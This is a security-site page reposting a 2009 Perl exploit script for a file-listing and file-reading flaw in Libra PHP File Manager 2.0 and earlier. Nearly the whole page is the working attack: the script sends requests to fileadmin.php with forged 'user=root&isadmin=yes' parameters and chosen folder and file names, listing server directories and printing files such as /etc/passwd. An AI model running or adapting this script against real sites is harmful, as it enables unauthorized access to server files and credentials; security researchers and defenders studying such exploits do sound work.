首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Libra PHP File Manager versions .20 and below local file inclusion exploit
来源:http://www.enye-sec.org/ 作者:Pepelux 发布时间:2009-03-05  
#! /usr/bin/perl

# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
# Libra PHP File Manager <= 2.0 / Local File Inclusion Vulnerability
# -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# Program: Libra PHP File Manager
# Version: <= 2.0
# File affected: fileadmin.php
# Download: http://file.sourceforge.net
#
#
# Found by Pepelux <pepelux[at]enye-sec.org>
# eNYe-Sec - www.enye-sec.org
#
# You can scale directories and read any file that you have permissions

use LWP::UserAgent;
$ua = LWP::UserAgent->new;

print "\e[2J";
system(($^O eq 'MSWin32') ? 'cls' : 'clear');

my ($host, $path, $action) = @ARGV ;

unless($ARGV[2]) {
	print "Usage: perl $0 <host> <path> <action>\n";
	print "\tex: perl $0 http://site.com /etc/ list\n";
	print "\tex: perl $0 http://site.com /etc/passwd edit\n";
	print "Actions:\n";
	print "   list:\n";
	print "   edit:\n\n";
	exit 1;
}

$ua->agent("$0/0.1 " . $ua->agent);
$host = "http://".$host if ($host !~ /^http:/);
$path = $path."/" if ($action eq "list" && $path !~ /\/$/);
$op = "home" if ($action == "list");

if ($action eq "edit") {
	$aux = $path;
	$directory = "";

	do {
		$x = index($aux, "/");
		$y = length($aux) - $x;
		$directory .= substr($aux, 0, $x+1);
		$aux = substr($aux, $x+1, $y);
	} until ($x == -1);

	$path = $directory;
	$file = $aux;
	$op = "edit";
}

$url = $host."/fileadmin.php?user=root&isadmin=yes&op=".$op."&folder=".$path;
$url .= "&fename=".$file if ($action eq "edit");

$req = HTTP::Request->new(GET => $url);
$req->header('Accept' => 'text/html');

$res = $ua->request($req);

if ($res->is_success) { 
	$result = $res->content;

	if ($action eq "edit") {
		print "Viewing $path$file:\n";
		print $1,"\n" if($result =~ /name="ncontent">(.*)<\/textarea>/s);
	}
	else {
		print "Files in $path:\n";
		$x = index($result, "Files:") + 6;
		$result = substr($result, $x, length($result)-$x);
		$result =~ s/<[^>]*>//g;
		$result =~ s/Filename//g;
		$result =~ s/Size//g;
		$result =~ s/Edit//g;
		$result =~ s/Rename//g;
		$result =~ s/Delete//g;
		$result =~ s/Move//g;
		$result =~ s/View//g;
		$result =~ s/Open//g;
		$result =~ s/\d*//g;
		$result =~ s/\s+/\n/g;
		$x = index($result, "Copyright");
		$result = substr($result, 0, $x);
		print $result;
	}
} 
else { print "Error: " . $res->status_line . "\n";}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Ghostscripter Amazon Shop remo
·Easy Web Password 1.2 Local He
·Winamp <= 5.541 Skin Universal
·EFS Easy Chat Server Authentic
·Media Commands .m3l File Local
·MS Internet Explorer 7 Memory
·SupportSoft DNA Editor Module
·libcURL suffers from an arbitr
·Media Commands (m3u File) Univ
·EFS Easy Chat Server (XSRF) Ch
·Multiple Vendors libc:fts_*()
·Yaws < 1.80 (multiple headers)
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved